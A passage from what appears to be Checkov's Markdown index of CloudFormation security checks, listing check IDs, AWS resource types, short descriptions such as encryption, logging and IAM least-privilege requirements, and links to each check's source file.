[GlueSecurityConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfiguration.py) | | 91 | CKV_AWS_100 | resource | AWS::EKS::Nodegroup | Ensure AWS EKS node group does not have implicit SSH access from 0.0.0.0/0 | Cloudformation | [EKSNodeGroupRemoteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EKSNodeGroupRemoteAccess.py) | | 92 | CKV_AWS_101 | resource | AWS::Neptune::DBCluster | Ensure Neptune logging is enabled | Cloudformation | [NeptuneClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/NeptuneClusterLogging.py) | | 93 | CKV_AWS_103 | resource | AWS::ElasticLoadBalancingV2::Listener | Ensure that Load Balancer Listener is using at least TLS v1.2 | Cloudformation | [ALBListenerTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ALBListenerTLS12.py) | | 94 | CKV_AWS_104 | resource | AWS::DocDB::DBClusterParameterGroup | Ensure DocumentDB has audit logs enabled | Cloudformation | [DocDBAuditLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBAuditLogs.py) | | 95 | CKV_AWS_105 | resource | AWS::Redshift::ClusterParameterGroup | Ensure Redshift uses SSL | Cloudformation | [RedShiftSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedShiftSSL.py) | | 96 | CKV_AWS_107 | resource | AWS::IAM::Group | Ensure IAM policies does not allow credentials exposure | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py) | | 97 | CKV_AWS_107 | resource | AWS::IAM::ManagedPolicy | Ensure IAM policies does not allow credentials exposure | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py) | | 98 | CKV_AWS_107 | resource | AWS::IAM::Policy | Ensure IAM policies does not allow credentials exposure | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py) | | 99 | CKV_AWS_107 | resource | AWS::IAM::Role | Ensure IAM policies does not allow credentials exposure | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py) | | 100 | CKV_AWS_107 | resource | AWS::IAM::User | Ensure IAM policies does not allow credentials exposure | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py) | | 101 | CKV_AWS_108 | resource | AWS::IAM::Group | Ensure IAM policies does not allow data exfiltration | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py) | | 102 | CKV_AWS_108 | resource | AWS::IAM::ManagedPolicy | Ensure IAM policies does not allow data exfiltration | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py) | | 103 | CKV_AWS_108 | resource | AWS::IAM::Policy | Ensure IAM policies does not allow data exfiltration | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py) | | 104 | CKV_AWS_108 | resource | AWS::IAM::Role | Ensure IAM policies does not allow data exfiltration | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py) | | 105 | CKV_AWS_108 | resource | AWS::IAM::User | Ensure IAM policies does not allow data exfiltration | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py) | | 106 | CKV_AWS_109 | resource | AWS::IAM::Group | Ensure IAM policies does not allow permissions management without constraints | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py) | | 107 | CKV_AWS_109 | resource | AWS::IAM::ManagedPolicy | Ensure IAM policies does not allow permissions management without constraints | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py) | | 108 | CKV_AWS_109 | resource | AWS::IAM::Policy | Ensure IAM policies does not allow permissions management without constraints | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py) | | 109 | CKV_AWS_109 | resource | AWS::IAM::Role | Ensure IAM policies does not allow permissions management without constraints | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py) | | 110 | CKV_AWS_109 | resource | AWS::IAM::User | Ensure IAM policies does not allow permissions management without constraints | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py) | | 111 | CKV_AWS_110 | resource | AWS::IAM::Group | Ensure IAM policies does not allow privilege escalation | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py) | | 112 | CKV_AWS_110 | resource | AWS::IAM::ManagedPolicy | Ensure IAM policies does not allow privilege escalation | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py) | | 113 | CKV_AWS_110 | resource | AWS::IAM::Policy | Ensure IAM policies does not allow privilege escalation | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py) | | 114 | CKV_AWS_110 | resource | AWS::IAM::Role | Ensure IAM policies does not allow privilege escalation | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py) | | 115 | CKV_AWS_110 | resource | AWS::IAM::User | Ensure IAM policies does not allow privilege escalation | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py) | | 116 | CKV_AWS_111 | resource | AWS::IAM::Group | Ensure IAM policies does not allow write access without constraints | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py) | | 117 | CKV_AWS_111 | resource | AWS::IAM::ManagedPolicy | Ensure IAM policies does not allow write access without constraints | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py) | | 118 | CKV_AWS_111 | resource | AWS::IAM::Policy | Ensure IAM policies does not allow write access without constraints | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py) | | 119 | CKV_AWS_111 | resource | AWS::IAM::Role | Ensure IAM policies does not allow write access without constraints | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py) | | 120 | CKV_AWS_111 | resource | AWS::IAM::User | Ensure IAM policies does not allow write access without constraints | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py) | | 121 | CKV_AWS_115 | resource | AWS::Lambda::Function | Ensure that AWS Lambda function is configured for function-level concurrent execution limit | Cloudformation | [LambdaFunctionLevelConcurrentExecutionLimit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaFunctionLevelConcurrentExecutionLimit.py) | | 122 | CKV_AWS_115 | resource | AWS::Serverless::Function | Ensure that AWS Lambda function is configured for function-level concurrent execution limit | Cloudformation | [LambdaFunctionLevelConcurrentExecutionLimit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaFunctionLevelConcurrentExecutionLimit.py) | | 123 | CKV_AWS_116 | resource | AWS::Lambda::Function | Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ) | Cloudformation | [LambdaDLQConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaDLQConfigured.py) | | 124 | CKV_AWS_116 | resource | AWS::Serverless::Function | Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ) | Cloudformation | [LambdaDLQConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaDLQConfigured.py) | | 125 | CKV_AWS_117 | resource | AWS::Lambda::Function | Ensure that AWS Lambda function is configured inside a VPC | Cloudformation | [LambdaInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaInVPC.py) | | 126 | CKV_AWS_117 | resource | AWS::Serverless::Function | Ensure that AWS Lambda function is configured inside a VPC | Cloudformation | [LambdaInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaInVPC.py) | | 127 | CKV_AWS_118 | resource | AWS::RDS::DBInstance | Ensure that enhanced monitoring is enabled for Amazon RDS instances | Cloudformation | [RDSEnhancedMonitorEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSEnhancedMonitorEnabled.py) | | 128 | CKV_AWS_119 | resource | AWS::DynamoDB::Table | Ensure DynamoDB Tables are encrypted using a KMS Customer Managed CMK | Cloudformation | [DynamoDBTablesEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DynamoDBTablesEncrypted.py) | | 129 | CKV_AWS_120 | resource | AWS::ApiGateway::Stage | Ensure API Gateway caching is enabled | Cloudformation | [APIGatewayCacheEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayCacheEnable.py) | | 130 | CKV_AWS_120 | resource | AWS::Serverless::Api | Ensure API Gateway caching is enabled | Cloudformation | [APIGatewayCacheEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayCacheEnable.py) | | 131 | CKV_AWS_123 | resource | AWS::EC2::VPCEndpointService | Ensure that VPC Endpoint Service is configured for Manual Acceptance | Cloudformation | [VPCEndpointAcceptanceConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/VPCEndpointAcceptanceConfigured.py) | | 132 | CKV_AWS_131 | resource | AWS::ElasticLoadBalancingV2::LoadBalancer | Ensure that ALB drops HTTP headers | Cloudformation | [ALBDropHttpHeaders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ALBDropHttpHeaders.py) | | 133 | CKV_AWS_136 | resource | AWS::ECR::Repository | Ensure that ECR repositories are encrypted using KMS | Cloudformation | [ECRRepositoryEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRRepositoryEncrypted.py) | | 134 | CKV_AWS_149 | resource | AWS::SecretsManager::Secret | Ensure that Secrets Manager secret is encrypted using KMS CMK | Cloudformation | [SecretManagerSecretEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecretManagerSecretEncrypted.py) | | 135 | CKV_AWS_154 | resource | AWS::Redshift::Cluster | Ensure Redshift is not deployed outside of a VPC | Cloudformation | [RedshiftInEc2ClassicMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftInEc2ClassicMode.py) | | 136 | CKV_AWS_155 | resource | AWS::WorkSpaces::Workspace | Ensure that Workspace user volumes are encrypted | Cloudformation | [WorkspaceUserVolumeEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WorkspaceUserVolumeEncrypted.py) | | 137 | CKV_AWS_156 | resource | AWS::WorkSpaces::Workspace | Ensure that Workspace root volumes are encrypted | Cloudformation | [WorkspaceRootVolumeEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WorkspaceRootVolumeEncrypted.py) | | 138 | CKV_AWS_157 | resource | AWS::RDS::DBInstance | Ensure that RDS instances have Multi-AZ enabled | Cloudformation | [RDSMultiAZEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSMultiAZEnabled.py) | | 139 | CKV_AWS_158 | resource | AWS::Logs::LogGroup | Ensure that CloudWatch Log Group is encrypted by KMS | Cloudformation | [CloudWatchLogGroupKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudWatchLogGroupKMSKey.py) | | 140 | CKV_AWS_160 | resource | AWS::Timestream::Database | Ensure that Timestream database is encrypted with KMS CMK | Cloudformation | [TimestreamDatabaseKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/TimestreamDatabaseKMSKey.py) | | 141 | CKV_AWS_161 | resource | AWS::RDS::DBInstance | Ensure RDS database has IAM authentication enabled | Cloudformation | [RDSIAMAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSIAMAuthentication.py) | | 142 | CKV_AWS_162 | resource | AWS::RDS::DBCluster | Ensure RDS cluster has IAM authentication enabled | Cloudformation | [RDSClusterIAMAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSClusterIAMAuthentication.py) | | 143 | CKV_AWS_163 | resource | AWS::ECR::Repository | Ensure ECR image scanning on push is enabled | Cloudformation | [ECRImageScanning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRImageScanning.py) | | 144 | CKV_AWS_164 | resource | AWS::Transfer::Server | Ensure Transfer Server is not exposed publicly. | Cloudformation | [TransferServerIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/TransferServerIsPublic.py) | | 145 | CKV_AWS_165 | resource | AWS::DynamoDB::GlobalTable | Ensure DynamoDB global table point in time recovery (backup) is enabled | Cloudformation | [DynamodbGlobalTableRecovery.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DynamodbGlobalTableRecovery.py) | | 146 | CKV_AWS_166 | resource | AWS::Backup::BackupVault | Ensure Backup Vault is encrypted at rest using KMS CMK | Cloudformation | [BackupVaultEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/BackupVaultEncrypted.py) | | 147 | CKV_AWS_170 | resource | AWS::QLDB::Ledger | Ensure QLDB ledger permissions mode is set to STANDARD | Cloudformation | [QLDBLedgerPermissionsMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/QLDBLedgerPermissionsMode.py) | | 148 | CKV_AWS_172 | resource | AWS::QLDB::Ledger | Ensure QLDB ledger has deletion protection enabled | Cloudformation | [QLDBLedgerDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/QLDBLedgerDeletionProtection.py) | | 149 | CKV_AWS_173 | resource | AWS::Lambda::Function | Check encryption settings for Lambda environment variable | Cloudformation | [LambdaEnvironmentEncryptionSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentEncryptionSettings.py) | | 150 | CKV_AWS_173 | resource | AWS::Serverless::Function | Check encryption settings for Lambda environment variable | Cloudformation | [LambdaEnvironmentEncryptionSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentEncryptionSettings.py) | | 151 | CKV_AWS_174 | resource | AWS::CloudFront::Distribution | Verify CloudFront Distribution Viewer Certificate is using TLS v1.2 or higher | Cloudformation | [CloudFrontTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudFrontTLS12.py) | | 152 | CKV_AWS_187 | resource | AWS::SageMaker::Domain | Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK) | Cloudformation | [SagemakerNotebookEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerNotebookEncryptedWithCMK.py) | | 153 | CKV_AWS_187 | resource | AWS::SageMaker::NotebookInstance | Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK) | Cloudformation | [SagemakerNotebookEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerNotebookEncryptedWithCMK.py) | | 154 | CKV_AWS_192 | resource | AWS::WAFv2::WebACL | Ensure WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell | Cloudformation | [WAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WAFACLCVE202144228.py) | | 155 | CKV_AWS_193 | resource | AWS::AppSync::GraphQLApi | Ensure AppSync has Logging enabled | Cloudformation | [AppSyncLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AppSyncLogging.py) | | 156 | CKV_AWS_194 | resource | AWS::AppSync::GraphQLApi | Ensure AppSync has Field-Level logs enabled | Cloudformation | [AppSyncFieldLevelLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AppSyncFieldLevelLogs.py) | | 157 | CKV_AWS_195 | resource | AWS::Glue::Crawler | Ensure Glue component has a security configuration associated | Cloudformation | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfigurationEnabled.py) | | 158 | CKV_AWS_195 | resource | AWS::Glue::DevEndpoint | Ensure Glue component has a security configuration associated | Cloudformation | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfigurationEnabled.py) | | 159 | CKV_AWS_195 | resource | AWS::Glue::Job | Ensure Glue component has a security configuration associated | Cloudformation | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfigurationEnabled.py) | | 160 | CKV_AWS_197 | resource | AWS::AmazonMQ::Broker | Ensure MQ Broker Audit logging is enabled | Cloudformation | [MQBrokerAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MQBrokerAuditLogging.py) | | 161 | CKV_AWS_258 | resource | AWS::Lambda::Url | Ensure that Lambda function URLs AuthType is not None | Cloudformation | [LambdaFunctionURLAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaFunctionURLAuth.py) | | 162 | CKV_AWS_260 | resource | AWS::EC2::SecurityGroup | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80 | Cloudformation | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py) | | 163 | CKV_AWS_260 | resource | AWS::EC2::SecurityGroupIngress | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80 | Cloudformation | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py) | | 164 | CKV_AWS_291 | resource | AWS::MSK::Cluster | Ensure MSK nodes are private | Cloudformation | [MSKClusterNodesArePrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MSKClusterNodesArePrivate.py) | | 165 | CKV_AWS_317 | resource | AWS::Elasticsearch::Domain | Ensure Elasticsearch Domain Audit Logging is enabled | Cloudformation | [ElasticsearchDomainAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainAuditLogging.py) | | 166 | CKV_AWS_317 | resource | AWS::OpenSearchService::Domain | Ensure Elasticsearch Domain Audit Logging is enabled | Cloudformation | [ElasticsearchDomainAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainAuditLogging.py) | | 167 | CKV_AWS_360 | resource | AWS::DocDB::DBCluster | Ensure DocumentDB has an adequate backup retention period | Cloudformation | [DocDBBackupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBBackupRetention.py) | | 168 | CKV_AWS_361 | resource | AWS::Neptune::DBCluster | Ensure that Neptune DB cluster has automated backups enabled with adequate retention | Cloudformation | [NeptuneClusterBackupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/NeptuneClusterBackupRetention.py) | | 169 | CKV_AWS_363 | resource | AWS::Lambda::Function | Ensure Lambda Runtime is not deprecated | Cloudformation | [DeprecatedLambdaRuntime.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DeprecatedLambdaRuntime.py) | | 170 | CKV_AWS_363 | resource | AWS::Serverless::Function | Ensure Lambda Runtime is not deprecated | Cloudformation | [DeprecatedLambdaRuntime.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DeprecatedLambdaRuntime.py) | | 171 | CKV_AWS_364 | resource | AWS::Lambda::Permission | Ensure that AWS Lambda function permissions delegated to AWS services are limited by SourceArn or SourceAccount | Cloudformation | [LambdaServicePermission.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaServicePermission.py) | | 172 | CKV_AWS_366 | resource | AWS::Cognito::IdentityPool | Ensure AWS Cognito identity pool does not allow unauthenticated guest access | Cloudformation | [CognitoUnauthenticatedIdentities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CognitoUnauthenticatedIdentities.py) | | 173 | CKV_AWS_367 | resource | AWS::SageMaker::DataQualityJobDefinition | Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt model artifacts | Cloudformation | [SagemakerDataQualityJobDefinitionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionEncryption.py) | | 174 | CKV_AWS_368 | resource | AWS::SageMaker::DataQualityJobDefinition | Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt data on attached storage volume | Cloudformation | [SagemakerDataQualityJobDefinitionVolumeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionVolumeEncryption.py) | | 175 | CKV_AWS_369 | resource | AWS::SageMaker::DataQualityJobDefinition | Ensure Amazon Sagemaker Data Quality Job encrypts all communications between instances used for monitoring jobs | Cloudformation | [SagemakerDataQualityJobDefinitionTrafficEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionTrafficEncryption.py) | | 176 | CKV_AWS_370 | resource | AWS::SageMaker::Model | Ensure Amazon SageMaker model uses network isolation | Cloudformation | [SagemakerModelWithNetworkIsolation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerModelWithNetworkIsolation.py) | | 177 | CKV_AWS_371 | resource | AWS::SageMaker::NotebookInstance | Ensure Amazon SageMaker Notebook Instance only allows for IMDSv2 | Cloudformation | [SagemakerNotebookInstanceAllowsIMDSv2.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SagemakerNotebookInstanceAllowsIMDSv2.py) | | 178 | CKV_AWS_373 | resource | AWS::Bedrock::Agent | Ensure Bedrock Agent is encrypted with a CMK | Cloudformation | [BedrockAgentEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/BedrockAgentEncrypted.py) | | 179 | CKV_AWS_384 | resource | AWS::SSM::Parameter | Ensure no hard-coded secrets exist in Parameter Store values | Cloudformation | [ParameterStoreCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ParameterStoreCredentials.py) | | 180 | CKV2_AWS_33 | resource | AWS::AppSync::GraphQLApi | Ensure AppSync is protected by WAF | Cloudformation | [AppSyncProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/AppSyncProtectedByWAF.yaml) | | 181 | CKV2_AWS_68 | resource | AWS::IAM::Role | Ensure SageMaker notebook instance IAM policy is not overly permissive | Cloudformation | [SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml) | | 182 | CKV2_AWS_68 | resource | AWS::SageMaker::NotebookInstance | Ensure SageMaker notebook instance IAM policy is not overly permissive | Cloudformation | [SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml) | | 183 | CKV2_AWS_69 | resource | AWS::RDS::DBInstance | Ensure AWS RDS database instance configured with encryption in transit | Cloudformation | [RDSEncryptionInTransit.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/RDSEncryptionInTransit.yaml) | | 184 | CKV2_AWS_69 | resource | AWS::RDS::DBParameterGroup | Ensure AWS RDS database instance configured with encryption in transit | Cloudformation | [RDSEncryptionInTransit.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/RDSEncryptionInTransit.yaml) | | 185 | CKV2_AWS_71 | resource | AWS::CertificateManager::Certificate | Ensure AWS ACM Certificate domain name does not include wildcards | Cloudformation | [ACMWildcardDomainName.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/ACMWildcardDomainName.yaml) | | 186 | CKV2_AWS_72 | resource | AWS::CloudFront::Distribution | Ensure AWS CloudFront origin protocol policy enforces HTTPS-only | Cloudformation | [CloudfrontOriginNotHTTPSOnly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/CloudfrontOriginNotHTTPSOnly.yaml) | | 187 | CKV2_AWS_75 | resource | AWS::Lambda::Function | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 188 | CKV2_AWS_75 | resource | AWS::Lambda::Url | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 189 | CKV2_AWS_75 | resource | aws | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 190 | CKV2_AWS_75 | resource | aws_accessanalyzer_analyzer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 191 | CKV2_AWS_75 | resource | aws_accessanalyzer_archive_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 192 | CKV2_AWS_75 | resource | aws_account_alternate_contact | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 193 | CKV2_AWS_75 | resource | aws_account_primary_contact | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 194 | CKV2_AWS_75 | resource | aws_account_region | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 195 | CKV2_AWS_75 | resource | aws_acm_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 196 | CKV2_AWS_75 | resource | aws_acm_certificate_validation | Ensure no open CORS policy | Cloudformation | 